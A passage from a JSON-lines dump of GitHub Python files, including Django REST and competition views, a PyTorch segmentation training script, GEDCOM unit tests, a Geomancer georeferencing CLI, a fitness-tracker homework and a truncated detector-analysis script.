return output\n\n# VECTOR MATRIX MULTIPLICATION\ndef vect_mat_mul(vect, matrix):\n # For each output we are performing a weighted sum of inputs\n # this function iterates through each row of weigths and makes\n # a prediction using w_sum\n assert len(vect) == len(matrix)\n\n output = [0, 0, 0]\n\n for i in range(len(vect)):\n output[i] = w_sum(vect, matrix[i])\n\n return output\n\ndef neural_network(input, weights):\n prediction = vect_mat_mul(input, weights)\n return prediction\n\ntoes = [8.5, 9.5, 9.9, 9.0]\nwlrec = [0.64, 0.8, 0.8, 0.9]\nnfans = [1.2, 1.3, 0.5, 1.0]\n\ninput = [toes[0], wlrec[0], nfans[0]]\n\nprediction = neural_network(input, weights)\n\nprint(prediction)\n","repo_name":"charliecharlieO-o/grokking-nn-study","sub_path":"chapter3/ex4.py","file_name":"ex4.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22663031041","text":"from rest_framework import status\nfrom rest_framework.decorators import api_view, authentication_classes, permission_classes\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\nfrom rest_framework_simplejwt.authentication import JWTAuthentication\n\nfrom users.serializers import *\n\n\n@api_view(['GET'])\n@authentication_classes([JWTAuthentication])\n@permission_classes([IsAuthenticated])\ndef get_user_contracts(request):\n if request.method == 'GET':\n serializer = UserContractsSerializer(request.user.usercontracts_set.all(), many=True)\n return Response(serializer.data)\n\n\n@api_view(['GET'])\n@authentication_classes([JWTAuthentication])\n@permission_classes([IsAuthenticated])\ndef user_short_info(request):\n if request.method == 'GET':\n serializer = ShortUserInfoSerializer(request.user)\n return Response(serializer.data)\n\n\n@api_view(['GET'])\n@authentication_classes([JWTAuthentication])\n@permission_classes([IsAuthenticated])\ndef user_info(request):\n if request.method == 'GET':\n serializer = UserSerializer(request.user)\n return Response(serializer.data)\n\n\n@api_view(['POST'])\n@authentication_classes([JWTAuthentication])\n@permission_classes([IsAuthenticated])\ndef user_new_contract(request):\n if request.method == 'POST':\n data = {'selected_contract_id': request.POST.get('selected_contract'),\n 'offered_rate': request.POST.get('offered_rate'),\n 'user_id': request.user.id}\n serializer = CheckNewContractSerializer(data=data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['POST'])\n@authentication_classes([JWTAuthentication])\n@permission_classes([IsAuthenticated])\ndef user_add_wallet(request):\n if request.method == 'POST':\n data = {\n 'user': request.user.id,\n 'type': request.POST.get('type'),\n 'wallet_number': request.POST.get('wallet_number'),\n }\n serializer = NewWalletSerializer(data=data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n","repo_name":"uiapvsiips/investment_project_hillel","sub_path":"users/api_views.py","file_name":"api_views.py","file_ext":"py","file_size_in_byte":2374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18859728885","text":"import torch.nn as nn\nimport torch\nimport torchvision.transforms as T \nfrom torch.nn import functional as TF\nimport dataloader\n# from torch.nn.functional import normalize\nimport tqdm\nimport torchmetrics\nimport matplotlib.pyplot as plt \nimport focal_loss\n# Empty the cache prior to training the network\ntorch.cuda.empty_cache()\n# Model configuration\nfrom torch import nn \nimport torch.nn.functional as F\nimport unet \nimport datetime\nfrom patchify import patchify\nimport modelhandler\nimport tools \nfrom torchinfo import summary \nfrom io import StringIO as SIO\n# Add the loss odyssey loss functions to the implementation\nimport sys\nsys.path.insert(1,\"/home/jplangger/Documents/Dev/VBTC/loss_odyssey\")\n\n# for optimization testing & updates \nimport torch.autograd.profiler as profiler\nimport time\n\nfrom torch.utils.tensorboard import SummaryWriter\nwriter = SummaryWriter() \n\n# Set to increase the performance\ntorch.backends.cudnn.benchmark = True\n\n# http://localhost:6006/?darkMode=true#timeseries\n# tensorboard --logdir=runs\n\nfrom config import get_cfg_defaults # obtain model configurations\n\n # Class Provides the basic functionalities required for the training process.\\n\n # The training process was configured into a class to better suit the needs for modularity and logging purposes\\n\n # -------------------------------------------------\\n\n\nclass TrainModel(object):\n \"\"\" Implements the basic functionalities for the implementation of model training. Configuration of training is defined by the configuration file. \\n\n No configuration params are available at the moment.\n\n \"\"\" \n def __init__(self): \n\n # initialize configuration and update using config file\n self.cfg = get_cfg_defaults()\n self.cfg.merge_from_file(\"configs/config_comparative_study.yaml\")\n # self.cfg.freeze()\n\n # Dataloader initialization\n self.db = db = dataloader.get_dataloader(self.cfg, setType=\"train\")\n\n # obtain the model-specific operations\n self.model_handler = modelhandler.ModelHandler(self.cfg, \"train\")\n \n # default to not preprocessing the input to the model\n preprocess_input = False \n \n\n\n # Training Parameters\n self.batch_size = self.cfg.TRAIN.BATCH_SIZE #3\n self.epochs = self.cfg.TRAIN.TOTAL_EPOCHS #10\n self.train_length = len(db.train_meta)\n self.steps_per_epoch = int(self.train_length/self.batch_size) # n# of steps within the specific epoch.\n self.total_batches = self.steps_per_epoch*self.epochs # total amount of batches that need to be completed for training\n \n # Get the criterion for training\n self.criterion = \"\"\n self.__get_criterion()\n\n # Image characteristics\n self.img_w = self.db.width\n self.img_h = self.db.height\n\n if self.cfg.TRAIN.PRETRAINED == True: # Pre-trained model is being used\n self.model = self.model_handler.load_model()\n else: # Generate a new model based on configuration file\n self.model = self.model_handler.gen_model(self.db.num_classes)\n\n def train_model(self): \n # Use the GPU as the main device if present \n device = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\n\n # Create a tensorboard writer\n writer = SummaryWriter() \n\n # Set the model to training mode and place onto GPU\n self.model.train()\n self.model.to(device)\n # place the criterion on the GPU\n self.criterion.to(device)\n # optimizer for the model \n optim = torch.optim.Adam(params=self.model.parameters(), lr = self.cfg.TRAIN.LR)\n # scheduler for the learning rate \n scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(optim, mode=\"min\", patience=1, factor=0.1,verbose=True, min_lr=self.cfg.TRAIN.FINAL_LR)\n #dice performance metric\n dice = torchmetrics.Dice().to(device)\n\n # Log the training parameters \n writer.add_text(\"_params/text_summary\", self.model_handler.logTrainParams())\n\n # If resizing of the input image is required \n if self.cfg.TRAIN.INPUT_SIZE.RESIZE_IMG:\n # new img size set by config file\n input_size = (self.cfg.TRAIN.INPUT_SIZE.HEIGHT, self.cfg.TRAIN.INPUT_SIZE.WIDTH) \n else: \n input_size = (self.db.height, self.db.width) # use the original input size values instead.\n\n # # Obtain the summary of the model architecture + memory requirements\n ##TODO: Fix Summary not working with DLV3+, execution halts at same location\n model_summary = summary(self.model, input_size=(1, 3, input_size[0], input_size[1]))\n # record the model parameters on tensorboard``\n writer.add_text(\"Model/\", str(model_summary).replace(\"\\n\", \"
\")) # Print the summary on tensorboard\n\n # string used to log when each learning rate values are updated\n lr_str = \"\"\n\n # count all the steps during training\n step = 0\n # ------------------------ Training loop ------------------------------------#\n for epoch in range(self.epochs):\n\n print(\"---------------------------------------------------------------\\n\")\n print(\"Training Epoch {}\\n\".format(epoch+1))\n print(\"---------------------------------------------------------------\\n\")\n\n # set the index for handling the images\n idx = 0\n self.db.randomizeOrder()\n # create/wipe the array recording the loss values\n\n # TODO - Turn this into a configurable parameter\n load_size = 1\n \n with tqdm.tqdm(total=3302, unit=\"Batch\") as pbar:\n \n for i in range(3302): \n \n \n # load the image batch\n _, images, ann, idx = self.db.load_batch(idx, batch_size=load_size, resize = input_size)\n \n # # Create autogradient variables for training\n # images = torch.autograd.Variable(images, requires_grad = False).to(device)\n # ann = torch.autograd.Variable(ann, requires_grad = False).to(device)\n\n\n for i, img in enumerate(images): \n \n # Load onto the GPU\n an = torch.autograd.Variable(ann[i:i+1], requires_grad = False).to(device)\n img = torch.autograd.Variable(images[i], requires_grad = False).to(device)\n\n # Zero the gradients in the optimizer\n optim.zero_grad()\n \n # regenerate the 4th dimension input\n img = torch.reshape(img, (1,img.shape[0], img.shape[1], img.shape[2]))\n \n # forward pass\n pred = self.model(img)\n pred = self.model_handler.handle_output(pred) # handle output based on the model\n\n # dice_score = dice(pred, ann.long())\n # writer.add_scalar(\"Metric/Dice\", dice_score, epoch*self.steps_per_epoch + i)\n\n\n loss = self.criterion(pred, an.long()) # calculate the loss\n \n # pbar.set_postfix(loss = loss.item(),lr = optim.param_groups[0]['lr'])\n # # writer.add_scalar(\"Loss/train\", l, epoch*self.steps_per_epoch + i) # record current loss\n\n torch.sum(loss).backward()\n optim.step() # apply gradient descent to the weights\n\n # Measure the total amount of memory that is being reserved training (for optimization purposes)\n if step == 2: \n print(\"Memory Reserved for Training: {}MB\".format(tools.get_memory_reserved()))\n \n step += 1 # increment the counter\n\n \n pbar.update()\n ############# Output LR update to Tensorboard ############################\n \n # Update the std out to save to a string \n temp = sys.stdout\n sys.stdout = o = SIO()\n # update the learning rate based on scheduler scheme (every epoch)\n scheduler.step(loss[0]) # use only one of the obtained loss values \n sys.stdout = temp # restore original output \n\n # get the result of the step update \n new_lr = o.getvalue()\n\n # save the lr update to then place it on tensorboard\n if new_lr != \"\": \n lr_str += new_lr + \"
\" # store the value on the string\n print(new_lr)\n\n # write the update to tensorboard\n writer.add_text(\"_lr/lr_update\", lr_str)\n\n ############# End Output LR update to Tensorboard ############################\n\n # finish writing to the buffer \n writer.flush()\n # save the model at the end of each epoch\n torch.save(self.model, \"saves/epoch{}.pt\".format(epoch+1))\n \n # flush buffers and close the writer \n writer.close()\n\n def __get_criterion(self): \n \"\"\"\n __get_criterion(self): \n ---------------------------------------------------\n Retrieves the loss function based on the configuration file as defined in self.cfg.TRAIN.CRITERION\n \"\"\"\n import loss \n \n from loss_odyssey import dice_loss\n\n\n criterion = self.cfg.TRAIN.CRITERION\n # Call the loss function based on the configuration file\n if criterion == 'crossentropyloss': \n self.criterion = torch.nn.CrossEntropyLoss()\n elif criterion == \"focalloss\": \n self.criterion = focal_loss.FocalLoss(gamma=2.0)\n elif criterion == \"iouloss\": \n self.criterion = loss.IoULoss()\n elif criterion == \"dicefocal\": # CUrrently not training well -> Requires some testing to make sure that it even works \n self.criterion = loss.DiceFocal()\n elif criterion == \"diceloss\": \n self.criterion = loss.DiceLoss()\n elif criterion == \"tverskyloss\": \n self.criterion = loss.TverskyLoss()\n elif criterion == \"dicetopk\": \n self.criterion = loss.DiceTopk()\n elif criterion == \"powerjaccard\":\n self.criterion = loss.PowerJaccard()\n # ------- FCIoU Versions ---------- #\n elif criterion == \"fciouv1\":\n self.criterion = loss.FCIoUV1()\n elif criterion == \"fciouv2\": \n self.criterion = loss.FCIoUV2() \n elif criterion == \"fciouv3\": \n self.criterion = loss.FCIoUV3()\n elif criterion == \"fciouv4\": \n self.criterion = loss.FCIoUV4()\n elif criterion == \"fciouv5\":\n self.criterion = loss.FCIoUV5()\n elif criterion == \"fciouv6\":\n self.criterion = loss.FCIoUV6()\n else: \n exit(\"Invalid loss function, please select a valid one\")\n\n\n\n # this function is only used during testing to allow for the visual validation of results, no need for it \n # for the training of the network\n def showTensor(self, image): \n plt.imshow(image.permute(1,2,0)) # re-format and plot the image \n\n# Main program calling \nif __name__ == \"__main__\": \n train = TrainModel()\n\n train.train_model() # train the model","repo_name":"jonathanplangger/VBTC","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":11650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16995534739","text":"from project import *\nimport unittest\n\nclass TestRecentBirth1(unittest.TestCase):\n # US09_test1_file.ged No births in the last 30 days\n # Expected to not return anyone\n def test_recent_birth1(self):\n print(\"\\nTest 1:\")\n data = organize('US09_test1_file.ged')\n self.assertEqual(recent_births_and_deaths(data)[0], [])\n\nclass TestRecentBirth2(unittest.TestCase):\n # US09_test2_file.ged Individual birth is in the last 30 days\n # Expected to return and individual Stormi Webster\n def test_recent_birth1(self):\n print(\"\\nTest 2:\")\n data = organize('US09_test2_file.ged')\n self.assertEqual(recent_births_and_deaths(data)[0], [{'ID': '@I24@','age': 0,'alive': True,'birthday': '27 FEB 2023','child': '@F7@','death': None,'gender': 'F','name': 'Stormi /Webster/','spouse': None}])\n\nclass TestRecentBirth3(unittest.TestCase):\n # US09_test3_file.ged Invalid Birth day in this case Stormi's birth of 30 FEB 2023 should return empty\n # Expected to not return anyone\n def test_recent_birth1(self):\n print(\"\\nTest 3:\")\n data = organize('US09_test3_file.ged')\n self.assertEqual(recent_births_and_deaths(data)[0], [])\n\nclass TestRecentBirth4(unittest.TestCase):\n # US09_test4_file.ged Mutiple Individual birth is in the last 30 days\n # Expected to return and individual Stormi Webster and Jake Neather\n def test_recent_birth1(self):\n print(\"\\nTest 4:\")\n data = organize('US09_test4_file.ged')\n self.assertEqual(recent_births_and_deaths(data)[0], [{'ID': '@I24@','age': 0,'alive': True,'birthday': '27 FEB 2023','child': '@F7@','death': None,'gender': 'F','name': 'Stormi /Webster/','spouse': None},\n {'ID': '@I25@','age': 0,'alive': True,'birthday': '1 MAR 2023','child': '@F2@','death': None,'gender': 'M','name': 'Jake /Naeher/','spouse': '@F9@'}])\n\n","repo_name":"JNaeher/CS555tm02_2022Fall","sub_path":"project_test_US35.py","file_name":"project_test_US35.py","file_ext":"py","file_size_in_byte":1902,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"74850891093","text":"from django.shortcuts import render, get_object_or_404\nfrom .models import Competition, Entry\nfrom datetime import datetime\n\n# Create your views here.\ndef competition_page(request):\n competitions = Competition.objects.all().order_by(\"-date\")[:25]\n context = {'competition_list': competitions}\n return render(request, 'competitions/competition_page.html', context)\n\ndef view_competition(request, competition_id):\n competition = get_object_or_404(Competition, pk=competition_id)\n return render(request, 'competitions/competition.html', {'competition': competition})\n\ndef enter(request, competition_id):\n competition = get_object_or_404(Competition, pk=competition_id)\n \n if request.user.is_authenticated:\n try:\n Entry.objects.get(competition_id=competition_id, email=request.user.email)\n return render(request, 'competitions/post_entry.html', {\n 'error_message': \"Sorry, you have already entered this competition.\",\n 'competition': competition\n })\n except Entry.DoesNotExist:\n Entry.objects.create(\n competition=competition, \n member_id = request.user.membership_number,\n email = request.user.email,\n entry_date_time = datetime.now()\n )\n return render(request, 'competitions/post_entry.html', {\n 'success_message': \"Congratulations, you have entered the competition. Good luck!\",\n 'competition': competition\n })\n else:\n return render(request, 'membership/login.html', {\n 'error_message': \"You must be logged in to enter the members' competition.\"\n })","repo_name":"andrewjbaker/liverpool-fc-web-project","sub_path":"competitions/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22256405398","text":"__author__ = \"Aaron Steele (eightysteele@gmail.com)\"\n__copyright__ = \"Copyright 2011 The Regents of the University of California\"\n__contributors__ = [\"John Wieczorek (gtuco.btuco@gmail.com)\"]\n\nglobal verbosity\nverbosity = 1\n\n# Geomancer modules\nfrom geomancer.core import Geomancer, Locality\nfrom geomancer.exporting import GoogleFusionTablesApi\nfrom geomancer.geocoding import GoogleGeocodingApi\nfrom geomancer.prediction import GooglePredictionApi\nfrom geomancer.utils import UnicodeDictReader, UnicodeDictWriter\n\n# Standard Python modules\nimport httplib2\nimport logging\nimport optparse\nimport simplejson\nimport sys\nimport tempfile\nimport urllib\nimport yaml\n\ndef PrintUpdate(msg):\n if verbosity > 0:\n print >>sys.stderr, msg\n\ndef StatusUpdate(msg):\n PrintUpdate(msg)\n\ndef ErrorUpdate(msg):\n PrintUpdate('ERROR: %s' % msg)\n\ndef _GeoreferenceOptions(self, parser):\n parser.add_option('-a', '--address', type='string', dest='address',\n help='Address to geocode.') \n parser.add_option('--config_file', type='string', dest='config_file',\n metavar='FILE', help='YAML config file.')\n parser.add_option('--filename', type='string', dest='filename',\n metavar='FILE', help='CSV file with data to bulkload.') \n parser.add_option('--url', type='string', dest='url',\n help='URL endpoint to /remote_api to bulkload to.') \n parser.add_option('--host', type='string', dest='host',\n help='App Engine host name for cache and bulkloading.') \n parser.add_option('--num_threads', type='int', dest='num_threads', default=5,\n help='Number of threads to transfer records with.') \n parser.add_option('--batch_size', type='int', dest='batch_size', default=1,\n help='Number of records to pst in each request.') \n parser.add_option('-l', '--localhost', dest='localhost', action='store_true', \n help='Shortcut for bulkloading to http://localhost:8080/_ah/remote_api') \n parser.add_option('-e', '--export', dest='export', action='store_true', \n help='Export georeferences to Google Fusion Tables') \n\nclass Action(object):\n \"\"\"Contains information about a command line action.\"\"\"\n\n def __init__(self, function, usage, short_desc, long_desc='',\n error_desc=None, options=lambda obj, parser: None,\n uses_basepath=True):\n \"\"\"Initializer for the class attributes.\"\"\"\n self.function = function\n self.usage = usage\n self.short_desc = short_desc\n self.long_desc = long_desc\n self.error_desc = error_desc\n self.options = options\n self.uses_basepath = uses_basepath\n\n def __call__(self, appcfg):\n \"\"\"Invoke this Action on the specified Vn.\"\"\"\n method = getattr(appcfg, self.function)\n return method()\n\nclass Gm(object):\n \n \"\"\"Class for executing command line actions.\"\"\"\n\n # Actions\n actions = dict(\n help=Action(\n function='Help',\n usage='%prog help ',\n short_desc='Print help for a specific action.',\n uses_basepath=False),\n georef=Action( \n function='Georef',\n usage='%prog [options] georef ',\n options=_GeoreferenceOptions,\n short_desc='Georeference.',\n long_desc=\"\"\"TODO\"\"\"))\n\n def __init__(self, argv, parser_class=optparse.OptionParser):\n self.parser_class = parser_class\n self.argv = argv\n self.parser = self._GetOptionParser()\n for action in self.actions.itervalues():\n action.options(self, self.parser)\n self.options, self.args = self.parser.parse_args(argv[1:])\n if len(self.args) < 1:\n self._PrintHelpAndExit()\n action = self.args.pop(0)\n if action not in self.actions:\n self.parser.error(\"Unknown action: '%s'\\n%s\" %\n (action, self.parser.get_description()))\n self.action = self.actions[action]\n self.parser, self.options = self._MakeSpecificParser(self.action)\n if self.options.help:\n self._PrintHelpAndExit()\n if self.options.verbose == 2:\n logging.getLogger().setLevel(logging.INFO)\n elif self.options.verbose == 3:\n logging.getLogger().setLevel(logging.DEBUG)\n verbosity = self.options.verbose\n\n def Run(self):\n try:\n self.action(self)\n except Exception as e:\n import traceback\n traceback.print_tb(sys.exc_info()[2])\n logging.info(e)\n raise e\n return 0\n\n def Help(self, action=None):\n \"\"\"Prints help for a specific action.\"\"\"\n if not action:\n if len(self.args) > 1:\n self.args = [' '.join(self.args)]\n\n if len(self.args) != 1 or self.args[0] not in self.actions:\n self.parser.error('Expected a single action argument. '\n ' Must be one of:\\n' +\n self._GetActionDescriptions())\n action = self.args[0]\n action = self.actions[action]\n self.parser, unused_options = self._MakeSpecificParser(action)\n self._PrintHelpAndExit(exit_code=0)\n\n def Georef(self):\n if self.options.localhost:\n host = 'localhost:8080'\n else:\n host = self.options.host\n config = yaml.load(open(self.options.config_file, 'r')) \n creds = (config['email'], config['password'])\n client_id = config['client_id']\n client_secret = config['client_secret']\n predictor = GooglePredictionApi(config['model'], client_id, client_secret) \n geomancer = Geomancer(predictor, GoogleGeocodingApi, creds=creds, cache_remote_host=host)\n locality = self.options.address\n localities, georefs = geomancer.georef(locality)\n if georefs is not None:\n logging.info('Calculated %s georefs' % len(georefs))\n else:\n logging.info('No georefs for %s' % locality)\n if self.options.export:\n if len(georefs) > 0:\n self.Export(locality, georefs, localities, client_id, client_secret)\n else: \n logging.info('No georefs to export')\n return localities\n\n def Export(self, locality, georefs, localities, client_id, client_secret):\n logging.info('Exporting georefs to Fusion Table')\n temp_file = tempfile.NamedTemporaryFile()\n writer = UnicodeDictWriter(temp_file.name, ['locality', 'type', 'feature', 'georefs'])\n writer.writeheader() \n # Write final georef\n if georefs is not None:\n writer.writerow(dict(\n locality=locality,\n type='',\n feature='',\n georefs=''.join([x.to_kml() for x in georefs])))\n # Export to Fusion Table\n exporter = GoogleFusionTablesApi(client_id, client_secret)\n tablename = '-'.join([loc.name for loc in localities])\n tableid = exporter.export(temp_file.name, locality, ['STRING', 'STRING', 'STRING', 'LOCATION'])\n tableurl = 'http://www.google.com/fusiontables/DataSource?dsrcid=%s' % tableid\n logging.info('Georefs exported to Google Fusion Tables: %s' % tableurl)\n return tableurl\n\n def _PrintHelpAndExit(self, exit_code=2):\n \"\"\"Prints the parser's help message and exits the program.\"\"\"\n self.parser.print_help()\n sys.exit(exit_code)\n\n def _GetActionDescriptions(self):\n \"\"\"Returns a formatted string containing the short_descs for all actions.\"\"\"\n action_names = self.actions.keys()\n action_names.sort()\n desc = ''\n for action_name in action_names:\n desc += ' %s: %s\\n' % (action_name, self.actions[action_name].short_desc)\n return desc\n\n def _MakeSpecificParser(self, action):\n \"\"\"Creates a new parser with documentation specific to 'action'.\"\"\"\n parser = self._GetOptionParser()\n parser.set_usage(action.usage)\n parser.set_description('%s\\n%s' % (action.short_desc, action.long_desc))\n action.options(self, parser)\n options, unused_args = parser.parse_args(self.argv[1:])\n return parser, options\n\n def _GetOptionParser(self):\n \"\"\"Creates an OptionParser with generic usage and description strings.\"\"\"\n\n class Formatter(optparse.IndentedHelpFormatter):\n \"\"\"Custom help formatter that does not reformat the description.\"\"\"\n def format_description(self, description):\n \"\"\"Very simple formatter.\"\"\"\n return description + '\\n'\n desc = self._GetActionDescriptions()\n desc = ('Action must be one of:\\n%s'\n 'Use \\'help \\' for a detailed description.') % desc\n parser = self.parser_class(usage='%prog [options] ',\n description=desc,\n formatter=Formatter(),\n conflict_handler='resolve')\n parser.add_option('-h', '--help', action='store_true',\n dest='help', help='Show the help message and exit.')\n parser.add_option('-v', '--verbose', action='store_const', const=2,\n dest='verbose', default=1,\n help='Print info level logs.')\n return parser\n\n\ndef main(argv):\n logging.basicConfig(format=('%(asctime)s %(levelname)s: %(message)s'))\n try:\n result = Gm(argv).Run()\n if result:\n sys.exit(result)\n except KeyboardInterrupt:\n StatusUpdate('Interrupted.')\n sys.exit(1)\n except Exception as e:\n logging.info(e)\n\nif __name__ == '__main__':\n main(sys.argv)\n","repo_name":"GeomancerProject/Software","sub_path":"tools/georef/gm.py","file_name":"gm.py","file_ext":"py","file_size_in_byte":10068,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"38201686919","text":"from dataclasses import dataclass, asdict\nfrom typing import Tuple, Dict, List, Type\n\n\n@dataclass\nclass InfoMessage:\n \"\"\"Информационное сообщение о тренировке.\"\"\"\n\n training_type: str\n duration: float\n distance: float\n speed: float\n calories: float\n MESSAGE: str = ('Тип тренировки: {training_type}; '\n 'Длительность: {duration:.3f} ч.; '\n 'Дистанция: {distance:.3f} км; '\n 'Ср. скорость: {speed:.3f} км/ч; '\n 'Потрачено ккал: {calories:.3f}.')\n\n def get_message(self) -> str:\n \"\"\"Вернуть сообщение о тренировке.\"\"\"\n return self.MESSAGE.format(**asdict(self))\n\n\nclass Training:\n \"\"\"Базовый класс тренировки.\"\"\"\n\n action: int\n duration: float\n weight: float\n LEN_STEP: float = 0.65\n M_IN_KM: int = 1000\n M_IN_H: int = 60\n\n def __init__(self,\n action: int,\n duration: float,\n weight: float) -> None:\n\n self.action = action # count of completed actions\n self.duration = duration # hours\n self.weight = weight # kilogram\n\n def get_distance(self) -> float:\n \"\"\"Получить дистанцию в км.\"\"\"\n return self.action * self.LEN_STEP / self.M_IN_KM\n\n def get_mean_speed(self) -> float:\n \"\"\"Получить среднюю скорость движения.\"\"\"\n return self.get_distance() / self.duration\n\n def get_spent_calories(self) -> float:\n \"\"\"Получить количество затраченных калорий.\"\"\"\n raise NotImplementedError(\n f'Метод в {type(self).__name__} должен быть переопредлен')\n\n def show_training_info(self) -> InfoMessage:\n \"\"\"Вернуть информационное сообщение о выполненной тренировке.\"\"\"\n return InfoMessage(type(self).__name__,\n self.duration,\n self.get_distance(),\n self.get_mean_speed(),\n self.get_spent_calories())\n\n\nclass Running(Training):\n \"\"\"Тренировка: бег.\"\"\"\n MULTIPLIER_CALORIE_1: int = 18\n SUBTRACT_CALORIE_2: int = 20\n\n def __init__(self,\n action: int,\n duration: float,\n weight: float) -> None:\n\n super().__init__(action, duration, weight)\n\n def get_spent_calories(self) -> float:\n \"\"\"Формула расчета ср.скорости при занятии бегом:\n (18 * средняя_скорость - 20) * вес_спортсмена /\n M_IN_KM * время_тренировки_в_минутах.\n \"\"\"\n return (\n (self.MULTIPLIER_CALORIE_1 * self.get_mean_speed()\n - self.SUBTRACT_CALORIE_2) * self.weight\n / self.M_IN_KM * self.duration * self.M_IN_H)\n\n\nclass SportsWalking(Training):\n \"\"\"Тренировка: спортивная ходьба.\"\"\"\n\n height: float\n MULTIPLIER_CALORIE_1: float = 0.035\n MULTIPLIER_CALORIE_2: float = 0.029\n\n def __init__(self,\n action: int,\n duration: float,\n weight: float,\n height: float,) -> None:\n\n super().__init__(action, duration, weight)\n self.height = height # meters\n\n def get_spent_calories(self) -> float:\n \"\"\"Формула расчета калорий\n при спортивной ходьбе:\n (0.035 * вес + (средняя_скорость**2 // рост) * 0.029 * вес)\n * время_тренировки_в_минутах.\n \"\"\"\n\n return (\n (self.MULTIPLIER_CALORIE_1 * self.weight\n + (self.get_mean_speed() ** 2 // self.height)\n * self.MULTIPLIER_CALORIE_2 * self.weight)\n * self.duration * self.M_IN_H)\n\n\nclass Swimming(Training):\n \"\"\"Тренировка: плавание.\"\"\"\n\n length_pool: int\n count_pool: int\n LEN_STEP: float = 1.38\n ADDITION_CALORIE_1: float = 1.1\n MULTIPLIER_CALORIE_2: int = 2\n\n def __init__(self,\n action: int,\n duration: float,\n weight: float,\n length_pool: int,\n count_pool: int,) -> None:\n\n super().__init__(action, duration, weight)\n self.length_pool = length_pool # meters\n self.count_pool = count_pool # count of swimming pools\n\n def get_mean_speed(self) -> float:\n \"\"\"Формула расчета ср. скорости\n для занятий в бассейне:\n длина_бассейна * кол-во проплытых бассейнов\n / M_IN_KM / время_тренировки.\n \"\"\"\n return (\n self.length_pool * self.count_pool\n / self.M_IN_KM / self.duration)\n\n def get_spent_calories(self) -> float:\n \"\"\"Формула расчета калорий\n для занятий в бассейне:\n (средняя_скорость + 1.1) * 2 * вес.\n \"\"\"\n\n return (\n (self.get_mean_speed() + self.ADDITION_CALORIE_1)\n * self.MULTIPLIER_CALORIE_2 * self.weight)\n\n\ndef read_package(workout_type: str, data: list) -> Training:\n \"\"\"Прочитать данные полученные от датчиков.\"\"\"\n\n training_type: Dict[str, Type[Training]] = {\n 'SWM': Swimming,\n 'RUN': Running,\n 'WLK': SportsWalking,\n }\n if workout_type not in training_type:\n raise ValueError(f'Неизвестный тип тренировки {workout_type}')\n\n return training_type[workout_type](*data)\n\n\ndef main(training: Training) -> None:\n \"\"\"Главная функция.\"\"\"\n info = training.show_training_info()\n print(info.get_message())\n\n\nif __name__ == '__main__':\n\n packages: List[Tuple[str, List[int]]] = [\n ('SWM', [720, 1, 80, 25, 40]),\n ('RUN', [15000, 1, 75]),\n ('WLK', [9000, 1, 75, 180]),\n ]\n\n for workout_type, data in packages:\n training = read_package(workout_type, data)\n main(training)\n","repo_name":"pa1nf0rce/hw_python_oop","sub_path":"homework.py","file_name":"homework.py","file_ext":"py","file_size_in_byte":6381,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73764760532","text":"# Created by Darren Holland\n# Modified by Darren Holland 2020-11-02\n#**********************************************************************\n# File for analyzing the RSM's performance and returning it to Dakota\n#**********************************************************************\n'''\nCan be rerun by command in AnalyzeCommand___.sh \n(will generate plots unless input variable set to 0)\n'''\n\n# Load relevant modules\nimport matplotlib\nmatplotlib.use('TKAgg')\nimport numpy as np\nimport scipy.signal as sc\nfrom scipy import optimize\nfrom numpy.matlib import rand,zeros,ones,empty,eye\nimport os, sys, csv\nimport pandas as pd\nimport plotly as py\nimport plotly.graph_objs as go\n\n# Desired Standard Deviation\n\nimport time\n\ntic = time.perf_counter()\nsig = 2\n\ndef MAC(Eigvec, p_fig):\n \"\"\"Calculate the MAC criterion for the non-imaging RSM\"\"\"\n uu = 0\n vv = 0\n # Compare all theta=0 DRCs\n AutoPMAC = zeros((np.size(Eigvec, 1), np.size(Eigvec, 1)))\n for kk in range(0,np.size(Eigvec, 1)):\n for jj in range(0,np.size(Eigvec, 1)):\n # Calculate MAC value for the two vectors\n AutoPMAC[uu, vv] = ((((Eigvec[:, jj]).real).T).dot((Eigvec[:, kk]).real)) ** 2 / ((((Eigvec[:, jj]).real).T).dot((Eigvec[:, jj]).real) * (((Eigvec[:, kk]).real).T).dot((Eigvec[:, kk]).real))\n uu += 1\n uu = 0\n vv += 1\n return AutoPMAC\n\ndef MACloop(Eigvec, p_fig):\n \"\"\"Calculate the MAC criterion for the imaging RSM\"\"\"\n uu = 0\n vv = 0\n # Only compare one DRC at a time\n AutoPMAC = zeros((np.size(Eigvec, 1), 1))\n for kk in range(0,1):\n for jj in range(0,np.size(Eigvec, 1)):\n # Calculate MAC value for the two vectors\n AutoPMAC[uu, vv] = ((((Eigvec[:, jj]).real).T).dot((Eigvec[:, kk]).real)) ** 2 / ((((Eigvec[:, jj]).real).T).dot((Eigvec[:, jj]).real) * (((Eigvec[:, kk]).real).T).dot((Eigvec[:, kk]).real))\n uu += 1\n uu = 0\n vv += 1\n return AutoPMAC\n\ndef det_atten(phi):\n \"\"\" Returns the bare detector curv-fit attenuation as a function of phi\"\"\"\n return (1.730363487313672e-25*phi**10 + -1.818130681131725e-22*phi**9 + \\\n 7.873995291136305e-20*phi**8 + -1.844235989319162e-17*phi**7 + \\\n 2.556499795059634e-15*phi**6 + -2.145909796941168e-13*phi**5 + \\\n 1.067763006640183e-11*phi**4 + 